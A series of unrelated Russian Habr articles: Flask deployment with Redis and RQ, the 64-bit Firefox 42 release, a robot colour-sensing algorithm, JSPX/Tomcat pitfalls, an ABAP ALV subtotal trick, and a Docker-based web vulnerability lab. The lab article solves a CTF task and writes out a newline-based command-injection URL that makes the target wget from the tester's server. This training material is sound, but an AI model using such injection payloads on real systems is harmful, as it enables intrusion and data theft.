Поскольку в этой главе я ввел новые строки пользовательского интерфейса, которые надо бы перевести, то файлы переводов необходимо обновить. Если вы поддерживаете файл, не относящийся к английскому языку, вам необходимо использовать Flask-Babel для обновления ваших файлов перевода, а затем добавить новые переводы:
```
(venv) $ flask translate update
```
Если вы используете перевод на испанском языке, то я сделал перевод для вас, поэтому вы можете просто извлечь файлы *app/translations/es/LC\_MESSAGES/messages.po* из пакета загрузки для этой главы и добавить его в свой проект.
После того, как переводы выполнены, вам необходимо скомпилировать файлы перевода:
```
(venv) $ flask translate compile
```
Рекомендации по развертыванию
-----------------------------
В завершении этой главы обсудим изменения в развертывании приложения. Для поддержки фоновых задач я добавил в стек два новых компонента: сервер Redis и один или несколько обработчиков RQ. Очевидно, что они должны быть включены в стратегию развертывания, поэтому я кратко расскажу о различных вариантах развертывания, о которых я рассказывал в предыдущих главах, и о том, как на них повлияли эти изменения.
Развертывание на сервере Linux
------------------------------
Если приложение выполняется на сервере Linux, добавление Redis должно быть таким же простым, как установка этого пакета из операционной системы. Для Ubuntu Linux необходимо запустить `sudo apt-get install redis-server`.
Чтобы запустить рабочий процесс RQ, вы можете следовать разделу "Настройка Gunicorn и Supervisor" в [главе 17](https://habrahabr.ru/post/352266/), чтобы создать вторую конфигурацию Supervisor, в которой вы запускаете микроблог `rq worker-tasks` вместо `gunicorn`. Если вы хотите запустить более одного обработчика (и, вероятно, должны для production), вы можете использовать директиву `numprocs` Супервизора, чтобы указать, сколько экземпляров вы хотите запустить одновременно.
Развертывание на Heroku
-----------------------
Чтобы развернуть приложение на Heroku, вам нужно добавить службу Redis в свою учетную запись. Это похоже на процесс, который я использовал для добавления базы данных Postgres. Redis также имеет халявный уровень, который можно добавить с помощью следующей команды:
```
$ heroku addons:create heroku-redis:hobby-dev
```
URL-адрес доступа для новой службы redis будет добавлен в среду Heroku в качестве переменной `REDIS_URL`, что является именно тем, что ожидает приложение.
Бесплатный план в Heroku позволяет один web-dyno и один worker dyno, так что вы можете разместить одного обработчика rq вместе с вашим приложением, не неся никаких расходов. Для этого вам нужно будет объявить обработчик в отдельной строке в вашем procfile:
```
web: flask db upgrade; flask translate compile; gunicorn microblog:app
worker: rq worker microblog-tasks
```
После развертывания с этими изменениями можно запустить рабочий процесс с помощью следующей команды:
```
$ heroku ps:scale worker=1
```
Развертывание на Docker
-----------------------
При развертывании приложения в контейнерах Docker сначала необходимо создать контейнер Redis. Для этого можно использовать один из официальных образов Redis из реестра Docker:
```
$ docker run --name redis -d -p 6379:6379 redis:3-alpine
```
При запуске приложения необходимо связать контейнер redis и задать переменную окружения `REDIS_URL`, аналогично тому, как связан контейнер MySQL. Вот полная команда для запуска приложения, включая ссылку redis:
```
$ docker run --name microblog -d -p 8000:5000 --rm -e SECRET_KEY=my-secret-key \
-e MAIL_SERVER=smtp.googlemail.com -e MAIL_PORT=587 -e MAIL_USE_TLS=true \
-e MAIL_USERNAME= -e MAIL\_PASSWORD= \
--link mysql:dbserver --link redis:redis-server \
-e DATABASE\_URL=mysql+pymysql://microblog:@dbserver/microblog \
-e REDIS\_URL=redis://redis-server:6379/0 \
microblog:latest
```
Наконец, необходимо запустить один или несколько контейнеров для обработчиков RQ. Поскольку рабочие процессы основаны на том же коде, что и основное приложение, можно использовать тот же образ контейнера, который используется для приложения, переопределив команду start up, чтобы обработчик запускался вместо веб-приложения. Вот пример команды `docker run`, которая запускает worker:
```
$ docker run --name rq-worker -d --rm -e SECRET_KEY=my-secret-key \
-e MAIL_SERVER=smtp.googlemail.com -e MAIL_PORT=587 -e MAIL_USE_TLS=true \
-e MAIL_USERNAME= -e MAIL\_PASSWORD= \
--link mysql:dbserver --link redis:redis-server \
-e DATABASE\_URL=mysql+pymysql://microblog:@dbserver/microblog \
-e REDIS\_URL=redis://redis-server:6379/0 \
--entrypoint venv/bin/rq \
microblog:latest worker -u redis://redis-server:6379/0 microblog-tasks
```
Переопределение команды запуска по умолчанию образа Docker немного сложнее, потому как команда должна быть задана в двух частях. Аргумент`--entrypoint` принимает только имя исполняемого файла, но аргументы (если таковые имеются) должны быть заданы после образа и тега в конце командной строки. Заметьте что `rq` нужно дать как `venv/bin/rq` так, что оно будет работать без активации виртуальной среды.
 [Туда](https://habrahabr.ru/post/354322/) [Сюда](https://habr.com/post/358152/)  | https://habr.com/ru/post/354752/ | null | ru | null |
# Сегодня вышел 64-битный Firefox для Windows
Сегодня, 3 ноября, 42 версия браузера Firefox сменила статус бета-версии на релизную. На компьютеры сотен миллионов пользователей свежая «лиса» уже начала попадать через внутреннюю функцию проверки новой версии. Среди изменений — улучшения приватного режима и возможность глушить отдельные вкладки. Но то, что ожидали многие, нужно качать отдельно: как и обещалось, 64-битная сборка доступна только на серверах FTP.
Итак, это последняя версия, которая без модификаций позволяет устанавливать и использовать расширения без цифровой подписи магазина приложений addons.mozilla.org (AMO). Уже в 43 версии [придётся изменять настройку](http://geektimes.ru/post/262340/) в `about:config`. Подпись нужно будет получать, но размещать расширения на сайте AMO необязательно. 44 версия откажется устанавливать расширения без цифровой подписи.
64-битный Firefox уже давно есть для Linux и Mac OS, но релиз для Windows состоялся только сегодня. Обновить 32-битный Firefox в 64-битный напрямую нельзя. 64-битная сборка обладает [рядом ограничений](http://geektimes.ru/post/264214/). Вероятно, при её установке имеет смысл сделать резервную копию основного профиля. Хотя версия имеет статус официального релиза, найти её не удастся на странице <https://www.mozilla.org/firefox/all/>, где есть версии для всех доступных языков и основных операционных систем. 64-битную сборку для Windows нужно качать напрямую.
**Оффлайновые инсталляторы 64-битных сборок**
[Русский язык](https://ftp.mozilla.org/pub/firefox/releases/42.0/win64/ru/Firefox%20Setup%2042.0.exe)
[Английский (США)](https://ftp.mozilla.org/pub/firefox/releases/42.0/win64/en-US/Firefox%20Setup%2042.0.exe)
После установки можно убедиться в том, какая версия установлена, вводом `about:buildconfig` в адресную строку. В поле target будет показываться значение x86\_64.
Но появление 64-битной сборки — далеко не единственная новинка. После установки пользователей познакомят с новой функцией режима приватности. Теперь Firefox в режиме инкогнито не просто не записывает историю посещения веб-сайтов и куки, не использует куки обычной сессии, но и активно борется со средствами отслеживания. Браузер блокирует те элементы страницы, которые могут отслеживать пользователя.В результате страницы грузятся быстрее, а маркетинговым компаниям сложнее отследить пользователя. Конечно, что-то подобное можно было получить, установив какой-нибудь блокировщик рекламы и настроив соответствующие фильтры. Но теперь на кое-что способен и браузер «из коробки». Защиту от отслеживания можно отключить в настройках.
Firefox научился показывать, какие из вкладок шумят. По клику на иконку можно заглушить вкладку.
Другие изменения:
* Улучшения менеджера паролей. Теперь Firefox может импортировать пароли из Chrome и Internet Explorer.
* Поддержка Media Source Extension
* Улучшения WebRTC, в том числе поддержка IPv6.
* Теперь исходный код страницы показывается в отдельной вкладке, а не в новом окне.
* Центр управления для сайтов с HTTPS, где пользователь может посмотреть статус безопасности соединения.
**[Полный список изменений Firefox 42](https://www.mozilla.org/en-US/firefox/42.0/releasenotes/)**
[Полный список изменений Firefox 42 для Android](https://www.mozilla.org/en-US/firefox/android/42.0/releasenotes/) | https://habr.com/ru/post/386289/ | null | ru | null |
# Алгоритм для WRO: непрерывное считывание цветов кубиков
Здесь я бы хотел рассказать про интересный алгоритм, который я использовал в решении WRO Senior (старшая категория, которая), для непрерывного считывания цветов в сезоне 2019 года. Весь код будет написан на C++ в реализации (правильнее будет сказать, что почти в той реализации), которая сейчас лежит в основе EvCpp - если я допилю его, то должен получиться хороший аналог Basic.
Робот НЕ моей команды - https://instagram.fuln9-1.fna.fbcdn.net/v/t51.2885-15/e35/110169087\_605944503630575\_2158832733950492729\_n.jpg?\_nc\_ht=instagram.fuln9-1.fna.fbcdn.net&\_nc\_cat=111&\_nc\_ohc=-CzNhhHw9HYAX-3wyje&edm=AP\_V10EBAAAA&ccb=7-4&oh=f627c52a4cac1591dff57569b3a13ebd&oe=61056CC8&\_nc\_sid=4f375eДавайте приступим к алгоритму.
Постановка задачи
-----------------
У вас имеется 4 кубика разных цветов, расположенных вдоль линии. Нужно определить их цвета - они влияют на расположение "ветрогенераций" в центральной части поля. Чтобы не добавлять лишних изображений и не подписывать их - обрезал макет поля так, чтоб на нем остались чисто линия для проезда и позиции кубиков (цветовых индикаторов).
Часть макета поля (снизу зона старта финиша), цветами отмечены кубики которые там как бы стоятСамый простой способ - это считывать цвета проезжая каждый раз по линии определенное количество градусов (в моторах встроен энкодер). Данное решение было отброшено, так как если бы появлялось бы дополнительное задание, которое меняло количество (а еще хуже расположение кубиков), то нужно было бы подбирать градусы заново.
Тут и был придуман (кажется нашим с сокомандником тренером) алгоритм - мы просто едем по линии и постоянно считываем значения датчика цвета. Затем уже, когда данный отрезок линии был пройден роботом - обрабатываем "накопившиеся" значения и получаем ответ - количество и порядок цветов.
Изначально алгоритм был написан на графическом языке от авторов набора, и график здесь приведен именно с этого времени (поздних или не сохранилось, или их и не было) - это можно определить по количеству считываний. После уже использовался С++ - это дало сильный прирост количества считаных (RGB) значений.
А как же обрабатывать-то этот массив?
-------------------------------------
Тут все просто - ~~берете и обрабатываете~~. Нужно просто обратиться к другому способу кодирования цветов - HSV. Не думаю, что объяснение того, как он работает (и что значит каждая буква) это тема этой статьи, но если вам интересно - вот [ссылка](https://ru.wikipedia.org/wiki/HSV_(%D1%86%D0%B2%D0%B5%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C)).
В общем весь массив данных, который имелся перегонялся в hsv и по ним можно было построить вот такой график.
Я покажу вам один график, на котором есть информация про HSV сведенная в одно место (подписи к линиям значения не имеют, так что вырежу их для простоты). Посмотрите на график и алгоритм в целом придет к вам сам.
(к сожалению сырых данных к графикам нет - только скрины тех лет, так что качество может чутка страдать)Как вы можете заметить - синяя линия (это V) уходит "вниз" на каждом из четырех кубиков - общий шум (в нашем случае стенка за кубиками плюс освещение и прочее) образуют примерно прямую линию. Таким образом нам нужно просто отделить области в которых график растет сильно вверх, и определить их цвет (делалось это по H - серая линия). Давайте приступим к коду, ведь мы здесь для этого и собрались!
Накопление всех данных
----------------------
Изначально накапливались данные вот в такой структуре:
```
struct rgbhsv {
Ev3LightSensor::RGB rgb;
HSV hsv;
};
```
Собственно мы накопили обычный вектор таких структур - по факту у нас есть только rgb, а в hsv лежит мусор. Теперь нужно перейти в более комфортный для нас способ представления цветов. Это сделать достаточно просто - обычный for по всем элементам вектора.
```
vector < vector < rgbhsv >> calcData;
bool flag = false;
vector < rgbhsv > buff;
for (unsigned int i = 0; i < data.size(); i++) {
if (data[i].hsv.v * 100 > 4) {
flag = true;
buff.push_back(data[i]);
} else {
if (flag) {
flag = false;
calcData.push_back(buff);
buff.clear();
}
}
}
```
Тут мы простой системой одного флага (Вектор data заполен сырыми значениями с датчика), разделяем одну последовательность с N кубиками, на N подпоследовательностей с одним кубиком в каждой. Таким образом нам остается просто определить цвет характерный каждой из последовательностей и вот он ответ.
ЧТО? Предпоследнее предложение другими словами.У нас имеется массив (на самом деле вектор, но я буду использовать термин массив) в котором имеются какие-то значения - там лежат N считанных кубиков (каждый кубиков по несколько считываний). Наша задача разобрать этот массив на подмассивы, в каждом из подмассивов будут только считывания одного кубика.
Немного про несовпадение теории и практики
------------------------------------------
Но тут в дело вступает физика - как вы помните из графика сверху - синяя и серые линии не ровные - кубик для датчика это не одна тройка rbg, а некоторое их количество - в частности, такое случается на границах кубика. Так же есть проблема с определением черного (нет в основном задании, но может быть в дополнительном) и синего кубиков - если не исхитриться и просто посчитать (например) среднее от всех h, то вы будете часто их путать. Тут на помощь пришла идея медианной сортировки, но так как никому не хотел особо заморачиваться с сортировками и перемешиванием, было решено просто сделать подсчет.
Для каждого "сырого" значения множества кубика (одно из тех, что получились из алгоритма выше), сопоставлялось какое-то значение в кодировке цветов. Элементу массива с таким индексом делался инкремент. Затем, обработав всю последовательность выбирался тот элемент, который чаще других был определен алгоритмом. Так же отбрасывались начало и конец считывания кубиков (так как в целом при нескольких тысячах считанных значений, мы можем отбросить те, которые нам не нравятся), и все последовательности длина которых была меньше доверительного порога - мало-ли вспышка прилетела в инфракрасном спектре и получился кратковременный скачек, который в ином случае будет определен как какой-то из цветов и все испортит.
Т.е. вот такая вот картина была бы определена в результате, как желтый, хотя после перевода в hsv мы определили не только его. (Каждая клетка - цвет, который был определен в результате обработки каждого значения, самый характерный - и есть полученный ответ)
И вот после таких ~~"танцев с бубнами"~~ интересных идей и не до конца хорошей реализации мы получили возможность считать цвета не останавливаясь и вообще не используя энкодер.
Немного мимо темы
-----------------
Тут ниже приведен один и тот же алгоритм, реализованный на графическом языке и на C++. Можете заметить разницу. (Данные видео были приготовлены мною для выступления на МНСК - научная конференция НГУ, но, из-за моей невнимательности, их так никто и не увидел).
**Заранее прошу прощение за монтаж - я не умею монтировать.**
Встроенный графический язык (таймер тут это время обработки выборки сырых значений, длиной примерно в 160-180 элементов):
C++ (тут таймер я не вставлял - тот факт, что робот развернулся означает, что алгоритм отработал - размер первоначальной выборки 16к элементов):
Завершение
----------
Спасибо, что дочитали эту статью. Тот факт, что я реализовал и (в какой-то мере осмыслил и доделал этот алгоритм в 10 классе) - является предметом моей гордости, конечно это не код на ассемблере, который приземляет ракету на луну, но... | https://habr.com/ru/post/569456/ | null | ru | null |
# Повесть о том, как я «воевал» с xhtml+jspx+tomcat6
Доброго времени суток.
В данной статье я бы хотел рассказать о разработке своего первого стартапа, а так же о том, как я потратил 3 часа в пустую из-за ~~своей самоуверенности~~ недостатка знаний.
#### Предисловие
Честно признаться у меня давно «чесались» руки написать что-нибудь, и как вы понимаете, я не имею в виду никому не нужные университетские лабы, а то, что будет полезно как профессионалам ИТ сферы так и рядовым пользователям. И вот, некоторое время назад, мы: я (кодер) и два моих боевых товарища (верстальщик и сисадмин), решились начать работу над своим первым стартапом.
#### Начало разработки
Так как дизайнера не было — я взял на себя обязанность нарисовать шаблон. Не скажу, что для меня это было просто — но это совсем другая история. В итоге почитав пару десятков статей, полистав книжки — я со своей задачей справился.
Дальше — верстка. Наш верстальщик — человек очень строгих понятий о стандартах: если что-то не соответствует — отправляется на помойку. «Только XHTML» — сказал он мне, и я был не против, скорее даже за, хотя на тот момент я совершенно не представлял, что меня ждет впереди. Пока шла работа над версткой — я занялся ядром.
#### Первые «камни»
Думаю, следует отметить, что до этого я писал под html и файлы шаблонов создавал как \*.jsp, но прекрасно представлял, что такое xhtml и чем они отличаются. В итоге я подумал: «Если xhtml — то правильней создавать \*.jspx страницы» — и, так и сделал. Как раз в это время верстка была готова: я получил html-файл с ресурсами.
Я надеялся задать высокий темп со старта, поэтому быстро скопировал разметку в jpsx файл, кое-где его поправил, скопировал ресурсы и запустил tomcat в надежде увидеть всю красоту, однако tomcat выругался на меня ошибкой со стектрейсом, какого я в жизни не видел. Я спросил у Google’а — «Google не ответил мне, качая головой». Хотя нет — он конечно же ответил — только это мне не помогло. Я еще потыкался вслепую, поменял то, удалил это — не помогало, «котик» упорно засыпал меня стектрейсами. Тут я сдался, нет, не совсем, просто понял, что наверное все-таки стоит почитать литературу о jspx.
В итоге я нашел следующие ошибки:
**1. DOCTYPE**
Вместо привычной для меня строчки в начале документа
Нужно пользоваться специальным тэгом
**2. Escaped Chars**
На странице присутствуют textarea тэги, внутри которых html код, и я как то совсем забыл, что символы `<` и `>` нужно преобразовать к < и > соответственно, ну и все остальные естественно.
**3. CDATA**
Используется, когда необходимо выделить символьные данные внутри xml документа, например, стили, которые не вынесены в отдельный файл:
```
<![CDATA[
input {...} /\* стили тут \*/
]]>
```
**4. Разметка**
В некоторых местах у одиночных тэгов забыл поставить / вконце
например
```
```
вместо
```
```
**5. Директивы**
Вместо
```
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
```
необходимо использовать
Все эти ошибки ломали структуру документа, парсер не мог его обработать и с чистой совестью выбрасывал исключение.
Исправив все эти ошибки, и запустив tomcat, я наконец-то увидел как браузер (FF 3.6.\*) отобразил страницу.
Однако, я рано обрадовался.
#### Неожиданность
После последнего затыка разработка пошла живее, мы уже практически вышли на финишную прямую. Для теста я установил все основные браузеры: FF, Opera, Safari, Chrome, IE. Хотя стоп, IE конечно уже был предустановлен. И кстати он как раз и испортил всю малину в последний момент.
Для справки (лирическое отступление): у меня стоит любимая старушка xp sp3 — в ней IE6, да я знаю, что это вообще древность, но не было такой уж прямо необходимости апгрейдить его до 7й или 8й версии.
IE я в принципе никогда не пользуюсь — только для тестирования кроссбраузерности. По непонятным для меня причинам, когда я в очередной раз решил проверить как работает приложение в IE — я увидел сообщение «IE не может отобразить страницу». Я немного удивился, как это он не может отобразить страницу «http:⁄⁄localhost⁄». Попрыгав с бубнами — я так ничего и не добился. Ослик бодро продолжал мне показывать сообщение «IE не может отобразить страницу». Ну, осёл он и в Африке осёл.
Я плюнул на IE, тем более когда получил верстку — мой товарищ клялся и божился что в IE6-9 все отображается идеально. И это была моя ошибка.
Прошло несколько дней, разработка все также шла ровно, без заминок. Мне просто стало интересно — почему не работает IE, у меня прямой выход в интернет, без проксей, настроек никаких нет. Я полез гуглить — оказалось, что я не единственный с такой проблемой. Пара советов не помогла, но я увидел следующий — «сбросить все настройки». Я так и сделал. И, о чудо, сей замечательный браузер стал грузить и отображать страницы.
Я тут же решил проверить и попробовал зайти на свое приложение, на localhost. Немного зависнув IE предложил мне сохранить файл. Я подумал, что это глюк, нажал отмена, попробовал зайти в FF, Opera и так далее — все остальные браузеры отображали страницу. Я снова попробовал зайти через IE, и опять увидел предложение сохранить файл. Сохранил, открыл через блокнот — и увидел разметку страницы. Попросил проверить товарищей — у них ситуация была такая же.
Изучив проблему, я получил следующее:
IE6, IE7, IE8 — предлагали сохранить файл
IE9 — нормально отображал страницу
Заподозрив неладное, я открыл в своем IE6 ту верстку, которую мне прислал наш верстальщик, html-файл. IE нормально отобразил страницу. Я начал искать отличия между этой версткой, и своей в jspx-шаблоне, и нашел, в самом начале, это был content-type:
— content-type моего товарища: `text/html`
— мой content-type: `application/xhtml+xml`
«Какого...?» — подумал было я, но решил попробовать и поставить content-type: text/html. На самом деле это принесло свои плоды — все браузеры стали работать одинаково — отображать пустую страницу. Даже IE. Дальше стандартная схема: Firefox+Firebug, перезагрузил страницу: в консоли пусто, никаких ошибок, внимание привлекла структура документа: внутри ничего не было, пустота. Я «попросил» у FF исходный код страницы: там внутри была вся необходимая структура документа. Я ее сохранил и начал снова искать отличия от той, что была в шаблоне на сервере.
Внимание привлекла следующая строка:
Хотя в шаблоне на сервере она выглядела так:
И на самом деле такое “преобразование” было применено ко всем тэгам
И кроме того, с тэгами , внутри которых было пусто — была такая же беда.
Решение пришло само собой. Обернуть эти тэги с помощью . Таким образом мы заставим сервер отдавать то, что внутри именно в таком же виде без преобразований, получаем:
```
<script type="text/javascript" src="/js/jquery-1.5.1.min.js"></script>
```
Сохранил, перезапустил сервер, попробовал зайти. FF отобразил страницу. Скрестив пальцы, я запустил IE. И он тоже отобразил страницу так как она должна выглядеть. После этого я проверил во всех остальных основных браузерах — все работало как и должно.
#### В качестве заключения
Хотелось сделать как лучше, быстрее, чтобы не тратить время на изучение узких мест слабо знакомой технологии — в итоге получилось как всегда. Моя самонадеянность привела в данной ситуации к негативным последствиям. И хорошо, что ошибки были замечены на этапе разработки. | https://habr.com/ru/post/128723/ | null | ru | null |
# Web Vulnerabilities Playground
> *Уже 3 ноября в OTUS пройдет день открытых дверей по курсу* [*"Безопасность веб-приложений"*](https://otus.pw/CnMr/)*, в рамках которого вы сможете подробно узнать о курсе и пообщаться с нашими экспертами. А прямо сейчас хотим поделиться с вами авторской статьёй эксперта OTUS, вирусного аналитика в международной компании - Александра Колесникова, которая была написана специально для студентов* [*курса*](https://otus.pw/CnMr/)*.*
>
>
---
Статья описывает процесс создания тестовой среды для изучения веб-уязвимостей с использованием технологий виртуализации. В качестве инструмента для виртуализации будет использован Docker. Соберем с помощью этой технологии лабораторный стенд, который позволит нам изучить уязвимости из OWASP Top 10 (и не только). Полученные результаты можно будет использовать для самостоятельного изучения уязвимостей и проведения экспериментов.
### Docker для исследований
«Виртуализация средствами операционной системы» - это самое распространенное определение для инструмента Docker, которое можно найти в сети. Его используют для упрощения настройки зависимостей и создания беспрерывного цикла разработки, но начинающим исследователям безопасности он может помочь еще и в освоении новых подходов к тестированию веб-приложений. Для наших исследований мы будем использовать версию для операционной системы Linux. Найти инструкцию по установке можно [здесь](https://docs.docker.com/engine/install/).
Для наших экспериментов необходимо познакомиться с минимальным набором команд:
**Команды для сборки/загрузки** `Image`:
* `docker build dirName -t tagName`
* `docker pull ImageNameOnResourse`
* `docker load -i CompressedImageName.tar`
**Команды для запуска контейнеров:**
* `docker run some_params imageName`, `some_params` - набор параметров необходимых для работы контейнера
**Команды для настройки сети:**
* `docker network create NetworkName` - команда для создания новой сети. Можно создать виртуальную(bridge), которая будет работать только напрямую с хостом. Можно создать сеть, которая будет использоваться для доступа к локальной сети(host).
### Пишем/ищем задания
Самый сложный вопрос, который нужно решить - как найти уязвимое приложение, тестирование которого хотим провести? Писать самостоятельно задание для конкретной уязвимости дело очень долгое и зачастую неподъемное для начинающих исследователей. Безусловно, существуют готовые наборы заданий, которые можно найти [***здесь***](https://sourceforge.net/projects/bwapp/files/bee-box/) и [***здесь***](https://owasp.org/www-project-webgoat/). С использованием этих двух наборов заданий создано большое количество мануалов и курсов. Все задания удается просмотреть за минут 20-30, а ощущения, что теперь все ясно и можно попробовать свои силы на площадках *bugbounty*, нет.
Попробуем поискать задания с помощью `google dork`: `«site:github.com web+ctf+DockerFile»`. Пример выдачи поисковика представлен ниже:
 Остановим совой выбор на вот [***этом***](https://github.com/shimmeris/CTF-Web-Challenges) репозитории (*можно брать любой*):
 Задания представляют собой несколько категорий, как можно видеть из списка директорий в репозитории. Среди тех, которые попались нам - *RCE*, *SSRF*, *Unserialization*, *File-Inclusion*. Все темы достаточно сложные и многогранные, значит будет интереснее их изучать.
### Тестирование работоспособности заданий
Начнем с базовых требований, которые должны быть выполнены, чтобы найденное задание «взлетело». Список довольно прост:
1. *Обязательные файлы:*
1. ***Dockerfile*** *- набор команд, которые позволяют собрать Image.*
2. ***Исходные тексты*** *уязвимого приложения. Могут быть написаны на любом языке программирования.*
2. *Опциональные файлы:*
1. **docker-compose.yml** - файл, который позволяет проводить сборку Image и запуск контейнера. Этим файлом можно автоматизировать вообще весь процесс развертывания уязвимого приложения.
2. **Скрипты** для запуска контейнера, сборки Image
3. **Тестовые скрипты** для работы с запущенным контейнером. Обычно добавляются, когда задание уже использовалось во время соревнований.
Что делать если файлов для сборки? - Достаточно перейти в директорию задания, где располагается файл Dockerfile и запустить команду сборки Image, о которой было написано выше.
Что делать если файлов для запуска нет? - Снова переходим в директорию с файлом Dockerfile, открываем его в любимом текстовом редакторе и прокручиваем его до самого конца. Для первого RCE задания из выбранного репозитория Dockerfile выглядит вот так:
 Наибольший интерес представляют строки, которые начинаются с команд - «EXPOSE, CMD». Это строки, которые описывают какой порт на каком интерфейсе сделать общим с операционной системой и какую команду выполнить как только запустится контейнер. Например, для запуска контейнера, который будет содержать работоспособное приложение, нужно выполнить команду: docker rm -p 8002:80 ImageName. Проверить состояние контейнера можно командой docker ps. Вывод будет примерно таким:
 Время решать задания!
### Поиск уязвимостей
Проверим первое приложение из выбранного нами репозитория. Задание называется «hitcon-2015-babyfirst» из названия можно понять, что это задание уже фигурировало в соревновании по информационной безопасности CTF. Попробуем его решить.
Запустив контейнер, мы можем найти приложение по адресу машины, на которой установлен Docker, обратившись к порту 8002. Получаем вот такой ответ от сервера:
 Приложение представляет собой тестовую песочницу, которая запускает команды в командной строке операционной системы. Но, перед тем как передать параметры для выполнения команды, они проходят фильтрацию с помощью регулярного выражения. Попробуем понять, что это выражение ищет. Будем использовать вот [этот](https://regex101.com) ресурс.
Выражение соответствует данным, которые разделены переносом строки. Поэтому запрос в URL можно описать следующим образом:
* `http://10.0.3.4:8002/?args=test`
Никакого ответа от приложения мы не получили. Тестировать приложение вслепую не хочется, поэтому попробуем использовать метод тестирования, который называется [OAST](https://portswigger.net/burp/application-security-testing/oast). Подход подразумевает, что мы используем сторонний сервер для получения ответа от веб-приложения. Попробуем воспроизвести тест, используя простую команду `«wget http://10.0.3.8/»`. Подготовим сервер:
* `python -m SimpleHTTPServer 80`
Команду нужно каким-то образом закодировать, чтобы приложение запустило ее в операционной системе. Воспользуемся особенностями языка программирования php. Любую переменную, которая передается в URL строке можно использовать как массив: `var[]`. Но чтобы было возможно запустить команду, нужно все таки использовать перенос строки. Его можно закодировать следующим образом ‘%0a’. URL модифицируется следующим образом:
* `http://10.0.3.4:8002/?args[]=test%0a&args[]=wget&args[]=10.0.3.8`
Осталось выполнить еще одну модификацию - перевести ip адрес в то, что будет корректно обрабатываться в URL:
```
import struct
import socket
data = socket.inet_aton(«10.0.3.8»)
struct.unpack("!L", data)[0]
```
В итоге получаем вот такой запрос:
* `http://10.0.3.4:8002/?args[]=test%0a&args[]=wget&args[]=167772936`
Если все было закодирована верно, то мы получаем запрос на наш сервер:
Дальнейшие действия оставим для собственного изучения. Для завершения задания сталось написать скрипт, через который можно вычитать все данные из файловой системы.
Вот так, используя простые инструменты можно разнообразить устаревшие задания для поиска уязвимостей.
> ***Disclamer:*** *Все права на задания принадлежат их авторам. Подробную информацию можно найти в соответствующих репозиториях.*
>
>
---
[Узнать подробнее о курсе.](https://otus.pw/CnMr/)
--- | https://habr.com/ru/post/525486/ | null | ru | null |
# SAP — ABAP. Изменение строки подсуммирования в ALV grid
Работаю ABAP разработчиком в одной из отечественных компаний, внедряющих SAP.
На днях от консультанта пришла спецификация с задачей сделать специальную строку подсуммирования (ALV GRID), в который будут всевозможные суммы, значения, наименования и т.д., которых по стандарту в ней быть не должно. Также нужно реализовать возможность пользователю изменять данные в этой строке вручную.
Для тех, кто в танке: строки подсуммирования — желтенькие, в них выводятся подсуммы, в данном случае по дебитору.
Пораскинув мозгами и поспрашивав коллег, ~~решил послать консультанта куда подальше с такими запросами~~ получил 2 варианта решения:
1. Сделать свою строку подсуммирования, которая будет лежать во внутренней табличке. Настроить для нее вывод с цветом, суммами и т.д.
2. Попробовать подставить необходимые значения в стандартную строку подсуммирования.
Первый вариант сразу выкинул. Буквально недавно правил разработку с такой строкой, геморроя не наберешься — нельзя сортировать фильтровать данные в ALV, строка может куда-то съехать и т.д. и т.п. К тому же в стандартной строке есть куча классных и полезных плюшечек типа схлопывания строк в одну или иерархия подсумм. Единственный минус — как ни крутись, открыть стандартную строку подсуммирования на редактирование — невозможно (ну или чересчур трудозатратно).
Второй вариант — а так вообще можно?! Получив от начальства одобрение на исследование вопроса, полез гуглить, и на первой же ссылке добрый индус объясняет, что это вполне законно и реально. В классе CL\_GUI\_ALV\_GRID есть метод GET\_SUBTOTALS, возвращающий ссылки на таблицы с суммами всех уровней, которые можно спокойно изменять в своей программе. Выглядит он так:
Ура, товарищи! Задача понятна, и даже наметился план действий. Левые значения нужно вставлять только в строки подсуммировавния для дебиторов. Т.е. передаем в метод SET\_TABLE\_FOR\_FIRST\_DISPLAY параметр IT\_SORT, в котором указываем первый уровень сортировки — сортировку по дебитору. Вытаскиваем таблицу сумм 1-ого уровня (это будут суммы для дебиторов) и подставляем туда нужные значения:
Схематически выглядит так:
```
FORM fill_sort CHANGING ct_sort TYPE lvc_t_sort.
APPEND INITIAL LINE TO ct_sort ASSIGNING FIELD-SYMBOL().
-spos = '1'.
-fieldname = 'KUNNR'. "Фууууууу хардкод!!!!
-subtot = 'X'.
-up = 'X'.
ENDFORM.
go\_alv\_grid->set\_table\_for\_first\_display( ... ).
PERFORM set\_subtotals.
...
FORM set\_subtotals .
DATA: lr\_collect01 TYPE REF TO data
.
FIELD-SYMBOLS: TYPE ANY TABLE
, TYPE ty\_data
.
go\_alv\_grid->get\_subtotals(
IMPORTING
ep\_collect01 = lr\_collect01
).
ASSIGN lr\_collect01->\* TO .
IF IS ASSIGNED.
LOOP AT ASSIGNING .
"Подставляем необходимые значения в строку
ENDLOOP.
ENDIF.
ENDFORM.
```
«Неужели это сработает?!», подумал я, и трясущимися руками запустил отчет. Сработало!!! Но не совсем верно. Значения вывелись только в сабтоталы, оказавшиеся «под» экраном. Т.е. те, к которым нужно скроллить вниз. Решение нашлось довольно быстро на просторах интернета: вызвать мягкое обновление ALV после изменения подсумм:
```
go_alv_grid->refresh_table_display( i_soft_refresh = 'X' ).
```
Если не указывать параметр i\_soft\_refresh, то обновление пересчитает все сабтоталы и затрет наши данные.
Все?! Можно отдавать на тест?! Ну, это было не так уж и сл… так, стойте… а если пользователь изменит сортировку? Или отфильтрует данные? Или вообще сделает что угодно с нашей таблицей!? Она же обновится и все наши значения исчезнут! Черт…
Но, как оказалось, в классе CL\_GUI\_ALV\_GRID есть волшебное и очень полезное событие: AFTER\_REFRESH, которое запускается каждый раз, когда ALV обновляется. На этот раз план действия таков:
1. Ловим событие AFTER\_REFRESH;
2. Получаем критерии сортировки текущего состояния ALV (которое сейчас выведется на экран): go\_alv\_grid->get\_sort\_criteria;
3. Проверяем: на первом уровне сортировки должен быть дебитор (-spos = 1 AND -fieldname = 'KUNNR') и должна быть включена подсуммировка (-subtot = 'X');
3.а. Если все ок, запускаем подпрограмму, которая подставляет нужные данные в строки подсуммирования: PERFORM set\_subtotals.;
3.б. Иначе изменяем критерии сортировки таким образом, что бы на первом уровне стоял дебитор и для него была включена подсуммировка;
3.б.I. Если дебитора вообще нет в критерия сортировки, то удляем сортировку 9-ого уровня (если она есть), увеличиваем все остальные уровни на +1, и вставляем первым уровнем сортировку по дебитору;
